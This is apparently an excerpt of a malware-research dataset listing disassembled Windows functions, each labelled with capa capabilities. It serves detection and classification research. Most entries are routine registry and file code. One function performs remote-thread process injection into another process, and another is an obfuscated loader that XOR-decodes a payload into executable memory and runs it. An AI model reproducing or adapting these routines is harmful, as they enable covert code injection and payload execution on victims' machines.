joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100617e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push edx
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10061855
mov edx, dword [ebp + 0x14]
mov eax, edx
push esi
lea esi, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10061820
sub eax, esi
sar eax, 1
lea ecx, [eax + eax]
mov eax, dword [ebp - 4]
push ecx
push edx
mov edx, dword [ebp + 0x10]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10061860
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push edx
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x100618bb
mov edx, dword [ebp + 0x10]
push esi
push 4
lea ecx, [ebp + 0x14]
push ecx
push 4
push eax
mov eax, dword [ebp - 4]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100618c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x10094610]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x14]
lea edx, [ebp - 0x210]
push edx
push 1
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1006197d
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov dword [ebp - 0x214], 0x104
mov word [ebp - 0x20c], ax
call fcn.10066c10
mov ecx, dword [ebp - 0x210]
add esp, 0xc
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
lea eax, [ebp - 0x20c]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10061950
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x20c]
push edx
mov ecx, edi
call fcn.1004dce6
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100660ff
mov esp, ebp
pop ebp
ret
Function at 0x10061d30
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10079d52
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x10094610]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x21c], 0
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov dword [ebp - 0x220], esi
mov word [esi], ax
lea ecx, [ebp - 0x218]
push ecx
push 0x104
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], 1
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x10061dd9
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10061dd9
lea eax, [ebp - 0x218]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10061dc0
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x218]
push eax
jmp 0x10061de0
push 2
push 0x1007ef60
mov ecx, esi
call fcn.1004dce6
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100660ff
mov esp, ebp
pop ebp
ret
Function at 0x10062590
Capabilities:
Enumerate device drivers on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10079f46
mov eax, dword fs:[0]
push eax
mov eax, 0x1824
call fcn.100670b0
mov eax, dword [0x10094610]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x830]
push eax
push 0x1000
lea ecx, [ebp - 0x1830]
push ecx
xor ebx, ebx
call sub.PSAPI.DLL_EnumDeviceDrivers
test eax, eax
je 0x100626b5
mov eax, dword [ebp - 0x830]
cmp eax, 0x1000
jae 0x100626b5
shr eax, 2
mov edi, eax
xor esi, esi
cmp edi, ebx
jle 0x100626b5
mov eax, dword [ebp + esi*4 - 0x1830]
push 0x400
lea edx, [ebp - 0x810]
push edx
push eax
call sub.PSAPI.DLL_GetDeviceDriverBaseNameW
test eax, eax
je 0x100626ac
xor ecx, ecx
mov dword [ebp - 0x818], 7
mov dword [ebp - 0x81c], ebx
mov word [ebp - 0x82c], cx
lea eax, [ebp - 0x810]
mov dword [ebp - 4], ebx
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10062650
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x810]
push edx
lea ecx, [ebp - 0x82c]
call fcn.1004dce6
push 0xffffffffffffffff
push ebx
push str.sbmntr.sys
lea ecx, [ebp - 0x82c]
mov dword [ebp - 4], 1
call fcn.100516c0
cmp eax, 0xffffffff
jne 0x100626d3
cmp dword [ebp - 0x818], 8
mov dword [ebp - 4], eax
jb 0x100626ac
mov eax, dword [ebp - 0x82c]
push eax
call fcn.100660ce
add esp, 4
inc esi
cmp esi, edi
jl 0x10062604
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100660ff
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x818], 8
mov bl, 1
jb 0x100626ed
mov ecx, dword [ebp - 0x82c]
push ecx
call fcn.100660ce
add esp, 4
mov al, bl
jmp 0x100626b7
Function at 0x10062700
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10079f93
mov eax, dword fs:[0]
push eax
sub esp, 0x80
mov eax, dword [0x10094610]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x38]
push eax
xor edi, edi
push 0x20019
push edi
push str.SYSTEMCurrentControlSetControlSession_Manager
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1006276f
cmp dword [ebp + 0x1c], 8
jb 0x10062768
mov ecx, dword [ebp + 8]
push ecx
call fcn.100660ce
add esp, 4
xor al, al
jmp 0x100628ea
mov eax, dword [ebp - 0x38]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea edx, [ebp - 0x34]
push edx
push edi
push edi
push edi
push str.PendingFileRenameOperations
push eax
call esi
test eax, eax
jne 0x10062756
mov edx, dword [ebp - 0x34]
push edx
lea ecx, [ebp - 0x8c]
call fcn.100505c0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 1
call fcn.10050730
mov ecx, dword [ebp - 0x38]
push eax
push edi
push edi
push str.PendingFileRenameOperations
push ecx
call esi
test eax, eax
je 0x100627f1
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0
call fcn.100506b0
cmp dword [ebp + 0x1c], 8
jb 0x10062768
mov eax, dword [ebp + 8]
push eax
call fcn.100660ce
add esp, 4
xor al, al
jmp 0x100628ea
mov ecx, dword [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x8c]
call fcn.100509e0
mov byte [ebp - 0x2d], 0
cmp dword [ebp - 0x34], edi
jbe 0x100628c2
lea ecx, [ecx]
lea ecx, [ebp - 0x8c]
call fcn.100506e0
xor edx, edx
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x2c], dx
mov byte [ebp - 4], 2
cmp eax, edi
je 0x10062859
mov ecx, eax
lea esi, [ecx + 2]
jmp 0x10062840
mov dx, word [ecx]
add ecx, 2
cmp dx, di
jne 0x10062840
sub ecx, esi
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.1004dce6
mov esi, dword [ebp - 0x1c]
lea esi, [esi + esi + 2]
push esi
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 3
call fcn.10050c50
sub dword [ebp - 0x34], esi
mov eax, dword [ebp + 8]
mov esi, 8
cmp dword [ebp + 0x1c], esi
jae 0x10062883
lea eax, [ebp + 8]
push 0xffffffffffffffff
push edi
push eax
lea ecx, [ebp - 0x2c]
call fcn.100516c0
cmp eax, 0xffffffff
jne 0x100628b4
mov byte [ebp - 4], 1
cmp dword [ebp - 0x18], esi
jb 0x100628a9
mov eax, dword [ebp - 0x2c]
push eax
call fcn.100660ce
add esp, 4
cmp dword [ebp - 0x34], edi
ja 0x10062810
jmp 0x100628c7
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2d], 1
call fcn.1004e5d0
jmp 0x100628c7
mov esi, 8
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0
call fcn.100506b0
cmp dword [ebp + 0x1c], esi
jb 0x100628e7
mov ecx, dword [ebp + 8]
push ecx
call fcn.100660ce
add esp, 4
mov al, byte [ebp - 0x2d]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100660ff
mov esp, ebp
pop ebp
ret
Function at 0x100660ff
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10094610]
jne 0x10066109
repz ret
jmp fcn.1006adc8

Function at 0x10074a7c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10094610]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1006af05
and dword [ebp - 0x14], 0
cmp dword [0x100986ec], 0
mov dword [ebp - 0x18], eax
jne 0x10074b2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10074bd7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10081f64
push ebx
call edi
test eax, eax
je 0x10074bd7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x100986ec], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x100986f0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x100986f4], eax
call edi
push eax
call esi
mov dword [0x100986fc], eax
test eax, eax
je 0x10074b2f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x100986f8], eax
mov eax, dword [0x100986f8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10074b88
cmp dword [0x100986fc], ecx
je 0x10074b88
push eax
call esi
push dword [0x100986fc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10074b88
test ebx, ebx
je 0x10074b88
call edi
test eax, eax
je 0x10074b7f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10074b7f
test byte [ebp - 8], 1
jne 0x10074b88
or dword [ebp + 0x10], 0x200000
jmp 0x10074bbb
mov eax, dword [0x100986f0]
cmp eax, dword [ebp - 0x18]
je 0x10074bbb
push eax
call esi
test eax, eax
je 0x10074bbb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10074bbb
mov eax, dword [0x100986f4]
cmp eax, dword [ebp - 0x18]
je 0x10074bbb
push eax
call esi
test eax, eax
je 0x10074bbb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x100986ec]
call esi
test eax, eax
je 0x10074bd7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10074bd9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100660ff
leave
ret
Function at 0x401000
Capabilities:
Get disk information

Disassembly:
mov ecx, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x10]
and ecx, 0xffff
mov eax, esi
xor edx, edx
div ecx
xor edx, edx
mov ecx, 0x22f
div ecx
mov ecx, dword [esp + 0x18]
mov eax, 0x268
mov ebx, edx
xor edx, edx
div ecx
mov eax, edx
mov edx, dword [esp + 0xc]
sub al, dl
and bl, al
mov eax, ecx
imul eax, esi
or eax, esi
or al, dl
and eax, 0x48
or eax, 0x380
cmp ecx, 0x46
jae 0x401056
xor ax, ax
pop esi
mov al, bl
pop ebx
ret
cmp ecx, 0x4e
jb 0x4010f2
cmp ecx, 0xbf08
jne 0x4010f2
cmp esi, 0x33
jne 0x40107f
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov ax, si
pop esi
pop ebx
ret
cmp esi, 0xbc68
jne 0x4010be
cmp dx, 0x3e
jb 0x4010f2
cmp dx, 0x19
ja 0x401099
mov ax, si
pop esi
pop ebx
ret
cmp dx, 0x9005
jne 0x4010f2
mov eax, dword [esp + 0x14]
push eax
push 0x4952
push 0x5ee6
push eax
call fcn.00404fc0
add esp, 0x10
mov ax, si
pop esi
pop ebx
ret
cmp esi, 0x1c
jne 0x4010d6
and eax, 0xffff
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
mov ax, si
pop esi
pop ebx
ret
cmp esi, 0x1b
je 0x4010f2
cmp esi, 0x18
jae 0x4010f2
mov eax, 0x188
xor edx, edx
div dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov ax, si
pop esi
pop ebx
ret
Function at 0x41a88c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x442048
cmp edx, dword [eax]
je 0x41a8ae
add eax, 8
inc ecx
cmp eax, 0x4420d8
jl 0x41a89f
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x442048]
jne 0x41a9dc
mov eax, dword [0x4428d0]
cmp eax, 1
je 0x41a9b6
test eax, eax
jne 0x41a8df
cmp dword [0x442040], 1
je 0x41a9b6
cmp edx, 0xfc
je 0x41a9dc
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41a916
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0041be80
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0041aa20
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x41a959
lea eax, [ebp - 0x1a4]
push eax
call fcn.0041aa20
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x441458
push edi
call fcn.0041bf70
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0041be80
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0041be90
lea eax, [ebp - 0xa0]
push 0x441438
push eax
call fcn.0041be90
push dword [esi + 0x44204c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0041be90
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0041bdf4
add esp, 0x2c
pop edi
jmp 0x41a9dc
lea eax, [ebp + 8]
lea esi, [esi + 0x44204c]
push 0
push eax
push dword [esi]
call fcn.0041aa20
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x7003197
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x70031a6
pop dword [ebp - 0x18]
mov eax, 0x70031a6
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x858b0aad
add dword [ebp - 0x28], 0xc8c73a9e
mov dword [ebp - 0x24], 0xee6b974f
add dword [ebp - 0x24], 0x43c7b4f6
mov dword [ebp - 0x20], 0x977de664
sub dword [ebp - 0x20], 0x4b31a236
mov dword [ebp - 0x1c], 0xcd18a773
add dword [ebp - 0x1c], 0x32e7588d
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xa024fd4a
add dword [ebp - 0x28], 0xd44d6c0c
mov dword [ebp - 0x24], 0xe5316ecb
add dword [ebp - 0x24], 0x5c3af2aa
mov dword [ebp - 0x20], 0xe3b3b231
sub dword [ebp - 0x20], 0x804445c5
mov dword [ebp - 0x1c], 0x733adf0
sub dword [ebp - 0x1c], 0x733adf0
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xaa1350b8
add eax, 0x5ceddf7c
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3ade3
push 0
call eax
mov ecx, 0x490a
xor ebx, ebx
add ebx, eax
mov edi, 0x71e0dfd8
sub edi, 0x6adeddd8
add edi, dword [ebp - 0x18]
mov edx, 0x5f45b064
sub edx, 0xc4d296a8
xor dword [ebp - 0xc], 0xcfd68a1c
mov esi, dword [edi]
add dword [ebp - 0x10], 0x9c9578bb
xor esi, edx
mov dword [ebp - 8], 0xd7978321
mov dword [ebx], esi
add ebx, 4
add edi, 0x7b2b8e7e
add edi, 0x84d47186
loop 0x70032ba
add eax, 0xe9ec55cb
add eax, 0x1614c130
xor ebx, ebx
add ebx, eax
add eax, 0xfb8d7ece
sub eax, 0xfb8d7ec9
mov ecx, 0xe18b0460
sub ecx, 0xda8b0460
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x700d29f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x70120f1
call fcn.07001cf8
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700d491
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700dd8a
lea ecx, [ebp - 0x10]
call fcn.0700d23c
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700d30c
mov eax, dword [eax + 0x14]
jmp 0x700d311
mov eax, 0x70138c2
push 0x7015240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700d343
mov ecx, dword [edi + 4]
call fcn.070076d1
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.07003197
mov eax, edi
call fcn.07001ea7
ret 4
push str.file_does_not_exist
push ebx
call fcn.07003197
int3
Function at 0x401390
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x4c000c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401559
lea eax, [ebp - 0x248]
mov dword [ebp - 0x248], 0x22c
push eax
push esi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401418
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
nop
push 0x4052fc
lea eax, [ebp - 0x224]
push eax
call edi
test eax, eax
je 0x401406
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4013e0
jmp 0x401418
push dword [ebp - 0x240]
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x401559
mov esi, dword [0x4054ec]
push 0x40
push 0x3000
mov dword [ebp - 0x250], esi
push dword [esi + 0x405500]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x405504]
mov dword [ebp - 0x24c], eax
push 0x4054b0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 0x4054b6]
jae 0x4014aa
lea esi, [esi + 0x4055bc]
mov eax, dword [esi]
push 0
push dword [esi - 4]
add eax, 0x4054b0
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x24c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x250]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 0x4054b6]
cmp edi, eax
jl 0x401477
push 0x20
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov eax, dword [ebp - 0x24c]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RtlZeroMemory
push str.ntdll
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
push 0
push 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00401380
lea esi, [edi + 0x10]
sub eax, 0x401220
push eax
push 0x401220
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xffffffffffffffff
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004039bf
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004039bf
mov esp, ebp
pop ebp
ret
Function at 0x4024f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x40251c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x402544
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x40254a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x4025b2
jg 0x402561
test esi, esi
je 0x4025b2
test ecx, ecx
jl 0x4025ad
jg 0x40256b
test eax, eax
je 0x4025ad
cmp edi, ecx
jg 0x40257f
jl 0x402575
cmp esi, eax
jae 0x40257f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x4025b5
mov ecx, dword [ebp + 8]
jmp 0x4025bf
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x4025d9
jg 0x4025bf
test esi, esi
je 0x4025d9
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x4025d9
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4025f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test eax, eax
jg 0x40261c
jl 0x402610
test ecx, ecx
jne 0x40261c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x402635
push eax
push ecx
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x402683
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 0xc], edx
mov eax, dword [eax]
test eax, eax
je 0x402689
mov edi, dword [ebp - 4]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [ebp - 4], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp - 4]
jmp 0x402689
lea eax, [ebx + 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x4c], 0
je 0x4026f6
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x4026b2
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x4026e4
nop
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x4026f6
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x4026c0
test edi, edi
je 0x4026f6
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
